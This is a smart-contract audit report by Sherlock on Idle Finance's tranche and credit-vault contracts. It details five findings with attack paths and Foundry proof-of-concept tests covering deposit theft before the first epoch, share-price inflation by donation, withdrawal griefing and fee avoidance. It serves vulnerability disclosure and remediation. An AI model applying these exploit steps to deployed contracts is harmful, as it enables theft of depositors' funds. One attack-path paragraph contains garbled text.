SHERLOCK

Security Review For Idle Finance

Private Audit Contest Prepared For:	Idle Finance
Lead Security Expert:	0x52
Date Audited:	December 13 - December 21, 2024
Final Commit:	b6e5813

Introduction

Idle is a DAO that empowers the DeFi market with robust yield automation and hedging instruments, facilitating its expansion and establishing the foundation for a sustainable credit financial ecosystem via a more efficient and risk-adjusted capital allocation.

Credit Vaults are the new credit infrastructure product focusing on onboarding traditional finance institutions in lending activities on-chain.

Scope

Repository: Idle-Labs/idle-tranches

Audited Commit: 5fac661dd68723fbac9464958434b844c981c4ce

Final Commit: b6e581375eab89871d47994abd34fb0d3ed7c86d

Files:

- contracts/GuardedLaunchUpgradable.sol
- contracts/IdleCDO.sol
- contracts/IdleCDOEpochQueue.sol
- contracts/IdleCDOEpochVariant.sol
- contracts/IdleCDOStorage.sol
- contracts/IdleCDOTranche.sol
- contracts/strategies/idle/IdleCreditVault.sol

Final Commit Hash

b6e581375eab89871d47994abd34fb0d3ed7c86d

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
2	3

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

000000	TessKimy	pseudoArtist
0x52	jennifer37	smbv-1923
0xStalin	newspacexyz	vinica_boy
KupiaSec	novaman33	

Issue H-1: A single depositor can grief other depositors on the liquidity deposited for the first epoch

Source: https://github.com/sherlock-audit/2024-12-idle-finance-judging/issues/52

Found by

000000, 0x52, 0xStalin

Summary

After the CDO is initialized, deposits are allowed to provide the liquidity that will be used for the first epoch. During this same period, before the first epoch is started, withdrawals are also allowed (they are enabled when the contract is initialized), this makes sense, a depositor could request a withdrawal that would be withdrawable as soon as the first epoch is over, this depositor may have intentions to only seed liquidity for a single epoch, point is, depositors are allowed to request a withdrawal.

The problem that allows the exploit is that the requested withdrawals can actually be claimed right away, the IdleCreditVault.claimWithdrawRequest() relies on a condition that doesn't prevent withdrawal requests to be claimed before the first epoch ends.

```
function claimWithdrawRequest(address _user) external returns (uint256 amount) {
  ...
  //@audit-issue => Before the first epoch is started, `epochEndDate is 0`.
    //@audit-issue => Because `epochEndDate == 0`, it does not matter if the
↪   lastWithdrawRequest was made on the current epoch. (`false && whatever` will
↪   always evaluate to false)
  //@audit-issue => This allows withdraw requests before the first epoch ends to be
↪   claimed without needing to wait for finalization of the first epoch
  if (IIdleCDOEpochVariant(idleCDO).epochEndDate() != 0 && (epochNumber <=
↪   lastWithdrawRequest[_user])) {
    revert NotAllowed();
  }
  ...
}
```

This flaw allows for the attack described on the Attack Path section to be possible, causing to all the depositor's liquidity to be stolen.

As demonstrated on the coded PoC provided on the PoC section, **a single depositor can continously deposit, request a withdraw and claim the requested withdraw before the first epoch starts.**

- **The requested withdraw claims the interests that would've been earnt during the first epoch, but, without needing to wait for the first epoch to end.**
  - That extra claimed amount comes from the deposits of the other depositors. Since all deposits are sent directly to the CreditVault, **all the extra liquidity taken by the grieffer comes from the liquidity of the other depositors.**

Root Cause

Initilization of the CDO contract sets the contract's state in such a way that it allows depositors to claim normal requested withdrawals without needing to wait until the first epoch is over.

Internal Pre-conditions

No epoch has started on the CDO. Liquidity (deposits) to start the first epoch is being collected before starting the first epoch.

External Pre-conditions

None.

Attack Path

1. Depositors provides liquidity on the CDO contract before the first epoch starts.
2. A depositor request a withdraw for all his deposits.
3. Depositor claims right away the requested withdraw.
4. The depositor receives his principal + the interest it would earn during the first epoch.
5. rinse && repeat step to continue draining the principal of the other depositors.

Impact

Deposits made before the first epoch can be stolen

PoC

Add the next PoC on the IdleCreditVault.t.sol test file:

```
function test_depositsBeforFirstEpochStartsCanBeStolenPoC() external {
  uint256 depositAmount = 10000 * ONE_SCALE;
  IdleCDOEpochVariant CDO = IdleCDOEpochVariant(address(idleCDO));
```

```
assertEq(CDO.paused(),false,"Pause is True");
assertEq(CDO.epochEndDate(),0,"epochEndDate != 0");
IdleCreditVault strategy = IdleCreditVault(CDO.strategy());
assert(strategy.getApr() != 0);

address underlyingToken = CDO.token();
address TranchTokenAA = CDO.AATranche();

address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");

{
  deal(underlyingToken, user1, depositAmount);
  deal(underlyingToken, user2, depositAmount);
  deal(underlyingToken, user3, depositAmount);

  vm.startPrank(user1);
  IERC20(underlyingToken).approve(address(CDO), type(uint256).max);
  CDO.depositAA(depositAmount);
  vm.stopPrank();

  vm.startPrank(user2);
  IERC20(underlyingToken).approve(address(CDO), type(uint256).max);
  CDO.depositAA(depositAmount);
  vm.stopPrank();

  vm.startPrank(user3);
  IERC20(underlyingToken).approve(address(CDO), type(uint256).max);
  CDO.depositAA(depositAmount);
  vm.stopPrank();
}

uint256 initialStrategyUnderlingBalance = 3 * depositAmount;
uint256 strategyUnderlyingBalance_before =
↪ IERC20(underlyingToken).balanceOf(address(strategy));
assertEq(strategyUnderlyingBalance_before, initialStrategyUnderlingBalance);

//@audit-info => User3 has 0 underlying balance because he depositted everything
↪ on the CDO!
uint256 user3UnderlyingBalance_before =
↪ IERC20(underlyingToken).balanceOf(address(user3));
assertEq(user3UnderlyingBalance_before, 0);

{
  vm.startPrank(user3);
  CDO.requestWithdraw(0,TranchTokenAA);
  CDO.claimWithdrawRequest();

  CDO.depositAA(IERC20(underlyingToken).balanceOf(address(user3)));
```

```
        CDO.requestWithdraw(0,TranchTokenAA);
        CDO.claimWithdrawRequest();

        CDO.depositAA(IERC20(underlyingToken).balanceOf(address(user3)));
        CDO.requestWithdraw(0,TranchTokenAA);
        CDO.claimWithdrawRequest();

        vm.stopPrank();
    }

    //@audit-info => User3 has more balance than what he deposited because when he
 ↪  claim the withdraw request, he claimed the interests as if the epoch would have
 ↪  ended!
    uint256 user3UnderlyingBalanc_after =
 ↪  IERC20(underlyingToken).balanceOf(address(user3));
    assertGt(user3UnderlyingBalanc_after, depositAmount);

    //@audit-info => CreditVault has less than the 2 deposits made by user1 and user2.
    //@audit-info => All the `interest` extracted by user3 came from the Principal of
 ↪  User1 and User2
    uint256 strategyUnderlyingBalance_after =
 ↪  IERC20(underlyingToken).balanceOf(address(strategy));
    assertLt(strategyUnderlyingBalance_after, 2 * depositAmount);
}
```

Run the previous PoC with the next command: `forge test --match-test test_depositsBeforFirstEpochStartsCanBeStolenPoC -vvvv`

Mitigation

The most straight forward mitigation is to **initialize the `epochEndDate` to `block.timestamp` when the CDO is initialized.**

- This will make that the validation on the IdleCreditVault.claimWithdrawRequest() to correctly prevent claiming withdrawal requests before the first epoch ends.

IdleCDOEpochVariant._additionalInit()

```
function _additionalInit() internal virtual override {
  ...

+ epochEndDate = block.timestamp;
}
```

Discussion

bugduino

Valid indeed and good finding

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Idle-Labs/idle-tranches/pull/95

Issue H-2: Depositing to IdleCDO is vulnerable to inflation attacks

Source: https://github.com/sherlock-audit/2024-12-idle-finance-judging/issues/59

Found by

000000, 0x52, KupiaSec, TessKimy, jennifer37, pseudoArtist, smbv-1923, vinica_boy

Summary

Depositing to IdleCDO is vulnerable to inflation attacks. Attacker can inflate the share price to a very big value by donating assets into contract and then user's would lose their assets while depositing assets in contract.

Root Cause

https://github.com/sherlock-audit/2024-12-idle-finance/blob/main/idle-tranches/contracts/IdleCDO.sol#L128 https://github.com/sherlock-audit/2024-12-idle-finance/blob/main/idle-tranches/contracts/IdleCDO.sol#L270
https://github.com/sherlock-audit/2024-12-idle-finance-Mhttps://github.com/sherlock-audit/2024-12-idle-finance/blob/main/idle-tranches/contracts/IdleCDO.sol#L188D-YashShah1923/blob/main/idle-tranches/contracts/IdleCDO.sol#L315

Internal Pre-conditions

No response

External Pre-conditions

Total Supply of LP token should be Zero

Attack Path

- When total supply is zero an attacker goes ahead and executes the following steps :
  - Deposit a few assets (1 wei) through `depositAA()` or `depositBB()`
  - Since Attacker is the first depositor (totalSupply is 0 && totalAssets is 0), attacker gets minted 1 wei of a share
  - Afterwards the attacker would wait for user who wants to deposit some number of assets.

- Let's suppose Bob wants to deposit 10e18 underlying asset.
- Now attacker would see the transaction in mempool and frontrun the Bob's transaction and donates 100e18 underlying assets to contract thus inflating the total assets in contract.
- Now when attacker transaction gets executed he would be minted 0 shares in against of providing 10e18 due to inflation of shares in contract so a total loss of 10e18 to user.
- After that attacker claims his 1 share worth of 110e18 + 1 of underlying assets.
- Let me dig more deeper why this would happen.
- During Deposit through `depositAA()` or `depositBB()` `_deposit()` gets called where first we transfer underlying token to IdleCDOEpochVariant(IdleCDO) contract.

```
function _deposit(uint256 _amount, address _tranche, address _referral)
↪ internal virtual whenNotPaused returns (uint256 _minted) {
if (_amount == 0) {
return _minted;
}
// check that we are not depositing more than the contract available limit
_guarded(_amount);
// set _lastCallerBlock hash
_updateCallerBlock();
// check if _strategyPrice decreased
_checkDefault();
// interest accrued since last depositXX/withdrawXX/harvest is splitted
↪ between AA and BB
// according to trancheAPRSplitRatio. NAVs of AA and BB are updated and
↪ tranche
// prices adjusted accordingly
_updateAccounting();
// check if depositor has enough stkIDLE for the amount to be deposited
_checkStkIDLEBal(_tranche, _amount);
// get underlyings from sender
address _token = token;
uint256 _preBal = _contractTokenBalance(_token);
IERC20Detailed(_token).safeTransferFrom(msg.sender, address(this),
↪ _amount);
// mint tranche tokens according to the current tranche price
_minted = _mintShares(_contractTokenBalance(_token) - _preBal, msg.sender,
↪ _tranche);
// update trancheAPRSplitRatio
_updateSplitRatio(_getAARatio(true));

if (directDeposit) {
IIdleCDOStrategy(strategy).deposit(_amount);
}
```

```
    if (_referral != address(0)) {
    emit Referral(_amount, _referral);
    }
}
```

- After that `_mintShares()` gets called with the amount of assets we have passed.
- Inside _mintShares we have to inflate tranchePrice so that user would get mint zero shares.

```
function _tranchePrice(address _tranche) internal view returns (uint256) {
    if (IdleCDOTranche(_tranche).totalSupply() == 0) {
    return oneToken;
    }
    return _tranche == AATranche ? priceAA : priceBB;
}
```

- We have to inflate priceAA or priceBB aacording to the tranche.
- This price have been updated in `_updateAccounting()`

```
    function _updateAccounting() internal virtual {
    uint256 _lastNAVAA = lastNAVAA;
    uint256 _lastNAVBB = lastNAVBB;
    uint256 _lastNAV = _lastNAVAA + _lastNAVBB;
    uint256 nav = getContractValue();
    uint256 _aprSplitRatio = trancheAPRSplitRatio;
    // If gain is > 0, then collect some fees in `unclaimedFees`
    if (nav > _lastNAV) {
    unclaimedFees += (nav - _lastNAV) * fee / FULL_ALLOC;
    }
@>  (uint256 _priceAA, int256 _totalAAGain) = _virtualPriceAux(AATranche, nav,
↪   _lastNAV, _lastNAVAA, _aprSplitRatio);
    (uint256 _priceBB, int256 _totalBBGain) = _virtualPriceAux(BBTranche, nav,
↪   _lastNAV, _lastNAVBB, _aprSplitRatio);
    lastNAVAA = uint256(int256(_lastNAVAA) + _totalAAGain);

    // if we have a loss and it's gte last junior NAV we trigger a default
    if (_totalBBGain < 0 && -_totalBBGain >= int256(_lastNAVBB)) {
    // revert with 'default' error (4) if skipDefaultCheck is false, as
↪   seniors will have a loss too not covered.
    // `updateAccounting` should be manually called to distribute loss
    require(skipDefaultCheck, "4");
    // This path will be called when a default happens and guardian calls
    // `updateAccounting` after setting skipDefaultCheck or when
↪   skipDefaultCheck is already set to true
    lastNAVBB = 0;
    // if skipDefaultCheck is set to true prior a default (eg because AA is
↪   used as collateral and needs to be liquid),
    // emergencyShutdown won't prevent the current deposit/redeem (the one
↪   that called this _updateAccounting) and is
    // still correct because:
    // - depositBB will revert as priceBB is 0
    // - depositAA won't revert (unless the loss is 100% of TVL) and user will
↪   get
    //   correct number of share at a priceAA already post junior default
    // - withdrawBB will redeem 0 and burn BB tokens because priceBB is 0
    // - withdrawAA will redeem the correct amount of underlyings post junior
↪   default
    // We pass true as we still want AA to be redeemable in any case even
↪   after a junior default
    _emergencyShutdown(true);
    } else {
    // we add the gain to last saved NAV
    lastNAVBB = uint256(int256(_lastNAVBB) + _totalBBGain);
    }
    priceAA = _priceAA;
    priceBB = _priceBB;
}
```

- The priceAA and priceBB gets updated in `_virtualPriceAux` and the main root cause is that while calculating _virtualPriceAux nav gets calculated using balanceOf(address(this)) which is where the main problem is. `uint256 nav = getContractValue();`

```
    function _contractTokenBalance(address _token) internal view returns
↪   (uint256) {
    return IERC20Detailed(_token).balanceOf(address(this));
}
```

- Due to this attacker can inflate the share price by donating.

Impact

- This attack has two implications: Implicit minimum Amount and funds lost due to rounding errors
  - If an attacker is successful in making 1 share worth z assets and a user tries to mint shares using k*z assets then,
    - If k<1, then the user gets zero share and they loose all of their tokens to the attacker
    - If k>1, then users still get some shares but they lose (k- floor(k)) * z) of assets which get proportionally divided between existing share holders (including the attacker) due to rounding errors.
    - This means that for users to not lose value, they have to make sure that k is

an integer.

PoC

- Add this test inside IdleCreditVault.t.sol and change USDC aadress to DAI address 0x6B175474E89094C44Da98b954EedeAC495271d0F `address internal constant USDC = 0x6B175474E89094C44Da98b954EedeAC495271d0F;`

```
function testShareInflationViaDonating() external  {
    // Attacker deposits 1wei of Underlying Token
    uint256 amount = 1;

    vm.startPrank(address(attacker));
    // Approving assets
    underlying.approve(address(idleCDO), type(uint).max);
    // Depositing to AA tranche
    idleCDO.depositAA(amount);

    assertEq(IdleCreditVault(address(strategy)).totEpochDeposits(), amount,
↪   "totEpochDeposits after AA deposit");
    // Attacker then donating 100e18 underlying asset
    IERC20Detailed(USDC).transfer(address(idleCDO),100e18);
    vm.stopPrank();

    // Now Users transaction gets executed
    vm.startPrank(address(user));
    // approving tokens
    underlying.approve(address(idleCDO), type(uint).max);

    // User deposits 10e18 assets
    idleCDO.depositAA(10e18);
    vm.stopPrank();

    assertEq(idleCDO.getContractValue(),110000000000000000001);
    //User gets minted 0 shares
    assertEq(IERC20(AAtranche).balanceOf(address(user)),0);
    assertEq(IERC20(AAtranche).balanceOf(address(attacker)),1);

  }
```

Mitigation

Recommendation

- I like how BalancerV2 and UniswapV2 do it. some MINIMUM amount of shares get burnt when the first mint happens.

Discussion

bugduino

I think the issue is valid but the impact marked as high seems a bit too much. One of the workaround that we use, instead of modifying the contract, is to make a deposit with our wallet as first deposit so to avoid exactly this kind of issue. These are examples of deposits for tranches that we have live:

- lido https://etherscan.io/tx/0xb06cb35e285b452dd3da17667ab27dc7a463a858b69a610a0b95c7605c948be7
- stmatic https://etherscan.io/tx/0xaed429d1c771bad41523fa7eb6dee9cb44f0a401e0645490c69e8a37e7877318
- instadapp https://etherscan.io/tx/0xe526259059ecee960f720f73679faa29770324cc7d48d80fe29bd756490019c3
- morpho https://etherscan.io/tx/0x1a3a37ae4543b23444c8634265975670af779bbb506425f55571379c9b59244a
- gearbox https://etherscan.io/tx/0x16f33c06a6be904156cb34a4db2e91fac930c2d783b52382089978f04098b14a
- ethena https://etherscan.io/tx/0x913cee27fc7562139620940f4419696f5f2501a7859382e6b1ecf63677a2b8a4

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Idle-Labs/idle-tranches/pull/97

Issue M-1: Users may not withdraw their funds because of the grief attack

Source: https://github.com/sherlock-audit/2024-12-idle-finance-judging/issues/7

Found by

TessKimy, jennifer37, vinica_boy

Summary

Malicious users can manipulate the tranche share's price. They can burn more strategy tokens than expected. This will cause other users cannot withdraw their funds.

Root Cause

In IdleCDOEpochVariant:requestWithdraw, users can request withdraw their funds. The withdraw underlying token amount will be calculated according to the current tranche share's price.

In function requestWithdraw(), we will burn the related strategy share according to the underlying token amount. The problem is that when we increase tranche share's price via donation, we can burn more strategy tokens than expected. This will cause left users cannot withdraw funds because the strategy share is not enough.

For example:

1. Empty market.
2. Alice deposits 2000 DAI.
3. Bob deposits 2000 DAI.
4. Pass one epoch.
5. Alice donates 3000 DAI.
6. Alice requests withdraw her tranche share(2000*1e18).
7. Alice will get back 3500 DAI. The left strategy share is around 500*1e18.
8. Bob can only get back around 500 DAI.

```
function requestWithdraw(uint256 _amount, address _tranche) external returns
↪ (uint256) {
    ...
    uint256 _underlyings = _amount * _tranchePrice(_tranche) / ONE_TRANCHE_TOKEN;
    ...
    creditVault.requestWithdraw(_underlyings, msg.sender, netInterest);
}
```

```
function requestWithdraw(uint256 _amount, address _user, uint256 _netInterest)
 ↪  external {
  _onlyIdleCDO();
  _burn(msg.sender, _amount - _netInterest);
  _mint(_user, _amount);

  withdrawsRequests[_user] += _amount;
  pendingWithdraws += _amount;
  lastWithdrawRequest[_user] = epochNumber;
}
```

Internal Pre-conditions

N/A

External Pre-conditions

Empty market

Attack Path

1. Empty market.
2. Alice deposits 2000 DAI.
3. Bob deposits 2000 DAI.
4. Pass one epoch.
5. Alice donates 3000 DAI.
6. Alice requests withdraw her tranche share(2000*1e18).
7. Alice will get back 3500 DAI. The left strategy share is around 500*1e18.
8. Bob can only get back around 500 DAI.

In this attack vector, the attacker cannot earn some profits. But we still take this as one grief attack. Because of this grief attack, the Bob fails to withdraw his expected underlying token.

Impact

Users may fail to request withdraw, will lose their funds.

PoC

```
function testPocWithdrawDos() external {
  address alice = vm.addr(0x1);
  address bob = vm.addr(0x2);

  deal(defaultUnderlying, alice, 5000e18);
  deal(defaultUnderlying, bob, 2000e18);

  // Alice deposit 2000 DAI.
  vm.startPrank(alice);
  IERC20Detailed(defaultUnderlying).approve(address(idleCDO), type(uint256).max);
  idleCDO.depositAA(2000e18);
  vm.stopPrank();
  // Bob deposit 2000 DAI
  vm.startPrank(bob);
  IERC20Detailed(defaultUnderlying).approve(address(idleCDO), type(uint256).max);
  idleCDO.depositAA(2000e18);
  vm.stopPrank();

  vm.startPrank(manager);
  cdoEpoch.startEpoch();
  vm.stopPrank();

  vm.warp(cdoEpoch.epochEndDate() + 1);
  deal(defaultUnderlying, borrower, 10000e18);
  vm.startPrank(manager);
  cdoEpoch.stopEpoch(0, 1);
  vm.stopPrank();

  console.log("Contract value is: ", cdoEpoch.getContractValue());
  vm.startPrank(alice);
  IERC20Detailed(defaultUnderlying).transfer(address(cdoEpoch), 3000e18);
  cdoEpoch.requestWithdraw(2000e18, cdoEpoch.AATranche());

  uint256 beforeBalance = IERC20Detailed(defaultUnderlying).balanceOf(alice);
  cdoEpoch.claimWithdrawRequest();
  uint256 afterBalance = IERC20Detailed(defaultUnderlying).balanceOf(alice);
  console.log("Alice received amt: ", afterBalance - beforeBalance);
  address strategyToken = cdoEpoch.strategy();
  console.log("Left strategy token: ",
↪  IERC20Detailed(strategyToken).balanceOf(address(cdoEpoch)));
  vm.stopPrank();

  vm.startPrank(bob);
  cdoEpoch.requestWithdraw(2000e18, cdoEpoch.AATranche());
  beforeBalance = IERC20Detailed(defaultUnderlying).balanceOf(bob);
  cdoEpoch.claimWithdrawRequest();
  afterBalance = IERC20Detailed(defaultUnderlying).balanceOf(bob);
  console.log("Bob received amt: ", afterBalance - beforeBalance);

  strategyToken = cdoEpoch.strategy();
  console.log("Left strategy token: ",
↪  IERC20Detailed(strategyToken).balanceOf(address(cdoEpoch)));
  vm.stopPrank();
}
```

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Idle-Labs/idle-tranches/pull/98

Issue M-2: A user can avoid paying fees in the requestWithdraw function

Source: https://github.com/sherlock-audit/2024-12-idle-finance-judging/issues/37

The protocol has acknowledged this issue.

Found by

newspacexyz, novaman33

Summary

Due to precision loss in the fees calculation a user will be able to avoid fees by splitting their withdraw into multiple smaller amounts

Root Cause

```
function requestWithdraw(uint256 _amount, address _tranche) external returns
 ↪  (uint256) {
 ...
   uint256 _underlyings = _amount * _tranchePrice(_tranche) / ONE_TRANCHE_TOKEN;
  ...
   uint256 interest = _calcInterestWithdrawRequest(_underlyings) *
 ↪  _trancheAprRatio(_tranche) / FULL_ALLOC;
   uint256 fees = interest * fee / FULL_ALLOC;
   uint256 netInterest = interest - fees;
  ...
 }
```

In the requestWithdraw function above we can see that the user will specify the amount of funds they are withdrawing. After that their portion of the interest is computed based on the specified amount. Then the fees are taken as a percentage of this amount. However the issue is that if a user specifies a small enough amount that will gain interest, then the fees from that interest will be rounded down to 0. By splitting their withdraw into multiple smaller amounts they will be able to avoid paying the fees. When we look into the contest readMe we can see that tokens with 6 decimals will be supported: `Standard ERC20 tokens + USDT with no less than 6 decimals and no more than 18 decimals. Rebasing tokens, fee-on-transfer tokens, and tokens with multiple entry points are NOT supported.` And also the contract will be deployed on Optimism and other L2s which has extremely low transaction fees. This attack will cause even bigger loss for the protocol with tokens that have 6 decimals and have a huge value.

Internal Pre-conditions

1. The contract is deployed on an L2(eg. Optimism which is allowed by the readMe)
2. The contract will use tokens with less than 8 decimals(eg. wbtc). In the readMe it is specified that standard tokens with 6 to 18 decimals will be supported.

External Pre-conditions

N/A

Attack Path

Consider the following scenario: The attacker wants to withdraw 0.01WBTC which is equal to 1e6 (around 1000$ of value). Expected fee is (10%*4%*1e6) = 4e3WBTC=4$ The interest that the attacker will gain is 4% and the fee is 10% In order for the attack to be profitable the 10% of the gained interest shall be rounded down to 0 here: https://github.com/sherlock-audit/2024-12-idle-finance/blob/main/idle-tranches/contracts/IdleCDOEpochVariant.sol#L519 which means that the interest for a single transaction shall be less than 9 wei so that the fees will round down to 0. In order for the interest to be 9 wei the total withdrawn amount shall be 225 wei for a transaction.(which is 0.225$).Placingthisinaloopt heattackerwillrunitmultipletimeswhichwillcostlessthan1$ in total on optimism as transaction fees are extremely small(even negligible). As a result the fee will go to the attacker leading to a loss of the whole fee of the withdraw for the protocol.

Impact

On L2 the attack will be very cheap and will be profitable for the attacker, especially for big amounts. Loss of protocol fees.

PoC

No response

Mitigation

Do not allow multiple withdraws in one buffer period.

Discussion

bugduino

I would say that this is invalid or low at most, as the user needs a lot of preconditions to be able to exploit this and for a really tiny potential gain and it would in theory work only with wbtc basically given its high price / low decimals ratio. Also in order to be somewhat profitable the user needs to loop this thousand of times (with the additional gas cost of a contract and multiple calls of a looped function otherwise one would be reaching gas limit which will further decrease the 'profitability')

Issue M-3: Interest will be lost if funds are withdrawn from a tranche in which the APRRatio != FULL_ALLOC

Source: https://github.com/sherlock-audit/2024-12-idle-finance-judging/issues/48

Found by

0x52, KupiaSec, novaman33

Summary

When a withdraw request is made, the expected interest for the epoch is added to the withdrawal amount. This accurately predicts the owed interest when withdrawing from the senior tranche but does not accurately account for interest if the user withdrawing from the junior vault (which by default has an apr of 0).

While the interest for the individual withdrawing will be correct, the overall interest will be incorrect and well lead to loss of yield for the users in the senior tranche.

IdleCDOEpochVariant.sol#L518-L524

```
@>  uint256 interest = _calcInterestWithdrawRequest(_underlyings) *
 ↪  _trancheAprRatio(_tranche) / FULL_ALLOC;
    uint256 fees = interest * fee / FULL_ALLOC;
    uint256 netInterest = interest - fees;
    // user is requesting principal + interest of next epoch minus fees
    _underlyings += netInterest;
    // add expected fees to pending withdraw fees counter
    pendingWithdrawFees += fees;
```

We see that when calculating the interest the result is multiplied by _trancheAPRRatio which for the junior vault is 0. For normal withdrawals the funds will be lent for one additional epoch past the withdraw. These funds should be generating interest which should be given to the senior vault but no interest is generated at all. This leads to loss of yield for the senior vault as funds are effectively lent for free.

Root Cause

IdleCDOEpochVariant::L518 fails to properly calculate the total interest and only calculates user interest

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1) User deposits to the junior vault
2) User later withdraws from the junior vault

Impact

Loss of yield to senior vault

PoC

All POCs and setup at this gist. POC for this specific issue:

```
function testInterestOnAATranche() public {
    vm.prank(alice);
    cdoEpoch.depositAA(100e18);

    vm.prank(alice);
    cdoEpoch.requestWithdraw(99e18, trancheAA);

    vm.prank(cdoEpoch.owner());
    cdoEpoch.startEpoch();

    underlying.mint(borrower, 100e18);
    uint256 preBalance = underlying.balanceOf(borrower);

    vm.warp(cdoEpoch.epochEndDate());
    vm.prank(cdoEpoch.owner());
    cdoEpoch.stopEpoch(11e18, 0);

    console2.log("Borrower Paid:");
    console2.log(preBalance - underlying.balanceOf(borrower));
}

function testLostInterestOnBBTranche() public {
    vm.startPrank(alice);
    cdoEpoch.depositAA(1e18);
    cdoEpoch.depositBB(99e18);
    cdoEpoch.requestWithdraw(99e18, trancheBB);
    vm.stopPrank();

    vm.prank(cdoEpoch.owner());
    cdoEpoch.startEpoch();

    underlying.mint(borrower, 100e18);
    uint256 preBalance = underlying.balanceOf(borrower);

    vm.warp(cdoEpoch.epochEndDate());
    vm.prank(cdoEpoch.owner());
    cdoEpoch.stopEpoch(11e18, 0);

    console2.log("Borrower Paid:");
    console2.log(preBalance - underlying.balanceOf(borrower));
}

[PASS] testInterestOnAATranche() (gas: 723184)
Logs:
    Borrower Paid:
    99823287671232876706

[PASS] testLostInterestOnBBTranche() (gas: 810917)
Logs:
    Borrower Paid:
    99009589041095890410
```

We see that the borrower pays significantly less interest when the BB tranche is withdrawn causing loss of funds to the AA tranche.

Mitigation

Total interest should be calculate prior. Interest owed the user should be added to _underlyings and everything else should be added to expectedEpochInterest.

Discussion

bugduino

Issue is indeed valid and a good finding. I just want to point out that users may lose only a small % of the interest that will be gained in the next epoch when someone requests a redeem for the other tranche

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Idle-Labs/idle-tranches/pull/99

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.